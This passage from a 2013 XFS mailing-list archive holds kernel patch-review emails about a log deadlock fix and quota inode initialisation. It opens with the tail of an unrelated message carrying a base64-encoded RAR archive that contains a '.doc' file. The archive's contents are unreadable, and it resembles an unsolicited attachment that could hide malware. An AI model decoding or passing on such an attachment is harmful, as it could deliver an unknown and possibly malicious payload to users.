    ------=_NextPart_000_1B35_01CE8343.B2BF6BE0 Content-Type: application/octet-stream; name="=?windows-1251?B?wt3OytEgMTguMDcucmFy?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?wt3OytEgMTguMDcucmFy?=" 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 ------=_NextPart_000_1B35_01CE8343.B2BF6BE0-- From sekharan@us.ibm.com Wed Jul 17 16:33:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6171C7F3F for ; Wed, 17 Jul 2013 16:33:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 49A638F8049 for ; Wed, 17 Jul 2013 14:33:10 -0700 (PDT) X-ASG-Debug-ID: 1374096789-04cb6c2a47e40ec0001-NocioJ Received: from e8.ny.us.ibm.com (e8.ny.us.ibm.com [32.97.182.138]) by cuda.sgi.com with ESMTP id ffRDlwpoK7YmKw8M (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 14:33:09 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.138 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] Received: from /spool/local by e8.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 17 Jul 2013 22:33:08 +0100 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e8.ny.us.ibm.com (192.168.1.108) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 17 Jul 2013 22:33:06 +0100 Received: from d01relay07.pok.ibm.com (d01relay07.pok.ibm.com [9.56.227.147]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id BF49538C8039 for ; Wed, 17 Jul 2013 17:33:04 -0400 (EDT) Received: from d01av01.pok.ibm.com (d01av01.pok.ibm.com [9.56.224.215]) by d01relay07.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6HLWuTV25428162 for ; Wed, 17 Jul 2013 17:32:58 -0400 Received: from d01av01.pok.ibm.com (loopback [127.0.0.1]) by d01av01.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6HLWu50010338 for ; Wed, 17 Jul 2013 17:32:56 -0400 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d01av01.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6HLWtbv010253; Wed, 17 Jul 2013 17:32:55 -0400 Subject: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: XFS mailing list In-Reply-To: <20130716005455.GC3920@dastard> References: <1373928754.20769.41.camel@chandra-dt.ibm.com> <20130716005455.GC3920@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 17 Jul 2013 16:32:55 -0500 Message-ID: <1374096775.8941.3.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071721-0320-0000-0000-0000005166E8 X-Barracuda-Connect: e8.ny.us.ibm.com[32.97.182.138] X-Barracuda-Start-Time: 1374096789 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, 2013-07-16 at 10:54 +1000, Dave Chinner wrote: > On Mon, Jul 15, 2013 at 05:52:34PM -0500, Chandra Seetharaman wrote: > > While testing and rearranging my pquota/gquota code, I stumbled > > on a xfs_shutdown() during a mount. But the mount just hung. > > > > I debugged and found that there is a deadlock involving > > &log->l_cilp->xc_ctx_lock. > > > > It is in a code path where &log->l_cilp->xc_ctx_lock is first > > acquired in read mode and some levels down the same semaphore > > is being acquired in write mode causing a deadlock. > > > > This is the stack: > > xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode > > xlog_print_tic_res > > xfs_force_shutdown > > xfs_log_force_umount > > xlog_cil_force > > xlog_cil_force_lsn > > xlog_cil_push_foreground > > xlog_cil_push - tries to acquire same semaphore in write mode > > > > This patch fixes the deadlock by not calling xfs_force_shutdown() while > > holding the semaphore, instead calling it after dropping teh semaphore. > > > > Thanks to Dave for suggesting this solution. > > > > Signed-off-by: Chandra Seetharaman > > > > --- > > fs/xfs/xfs_log.c | 6 +++--- > > fs/xfs/xfs_log_cil.c | 10 ++++++---- > > fs/xfs/xfs_log_priv.h | 2 +- > > fs/xfs/xfs_trans.c | 2 +- > > 4 files changed, 11 insertions(+), 9 deletions(-) > > > > diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c > > index d852a2b..b9fa2da 100644 > > --- a/fs/xfs/xfs_log.c > > +++ b/fs/xfs/xfs_log.c > > @@ -1837,7 +1837,7 @@ xlog_state_finish_copy( > > * print out info relating to regions written which consume > > * the reservation > > */ > > -void > > +int > > xlog_print_tic_res( > > struct xfs_mount *mp, > > struct xlog_ticket *ticket) > > @@ -1941,7 +1941,7 @@ xlog_print_tic_res( > > > > xfs_alert_tag(mp, XFS_PTAG_LOGRES, > > "xlog_write: reservation ran out. Need to up reservation"); > > - xfs_force_shutdown(mp, SHUTDOWN_CORRUPT_INCORE); > > + return EFSCORRUPTED; > > Note the "SHUTDOWN_CORRUPT_INCORE" reason given here.... > > > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > > index 35a2299..d96022f 100644 > > --- a/fs/xfs/xfs_trans.c > > +++ b/fs/xfs/xfs_trans.c > > @@ -1547,7 +1547,7 @@ xfs_trans_commit( > > xfs_trans_apply_dquot_deltas(tp); > > > > error = xfs_log_commit_cil(mp, tp, &commit_lsn, flags); > > - if (error == ENOMEM) { > > + if (error) { > > xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); > > Which is different to the reason given here. The shutdown reason > should be maintained for this particular error.... I see. Is it ok if the error reason is not propagated to the xlog_write() code path ? > > Cheers, > > Dave. From sekharan@us.ibm.com Wed Jul 17 16:42:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6674C7F3F for ; Wed, 17 Jul 2013 16:42:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 497BE30404E for ; Wed, 17 Jul 2013 14:42:16 -0700 (PDT) X-ASG-Debug-ID: 1374097335-04cb6c2a42e41970001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id 7Rc7SC1SfCwK3BQu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 14:42:15 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 17 Jul 2013 17:42:14 -0400 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 17 Jul 2013 17:42:12 -0400 Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id 8FF936E8028 for ; Wed, 17 Jul 2013 17:42:07 -0400 (EDT) Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169]) by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6HLgBDX099756 for ; Wed, 17 Jul 2013 17:42:12 -0400 Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6HLgBTu012640 for ; Wed, 17 Jul 2013 15:42:11 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6HLgAG0012600; Wed, 17 Jul 2013 15:42:10 -0600 Subject: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: XFS mailing list In-Reply-To: <20130716002352.GA3920@dastard> References: <1373593665.20769.10.camel@chandra-dt.ibm.com> <20130713021349.GH3438@dastard> <1373928885.20769.42.camel@chandra-dt.ibm.com> <20130716002352.GA3920@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 17 Jul 2013 16:42:10 -0500 Message-ID: <1374097330.8941.12.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071721-5806-0000-0000-00002218366D X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1374097335 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, 2013-07-16 at 10:23 +1000, Dave Chinner wrote: > On Mon, Jul 15, 2013 at 05:54:45PM -0500, Chandra Seetharaman wrote: > > On Sat, 2013-07-13 at 12:13 +1000, Dave Chinner wrote: > > > On Thu, Jul 11, 2013 at 08:47:45PM -0500, Chandra 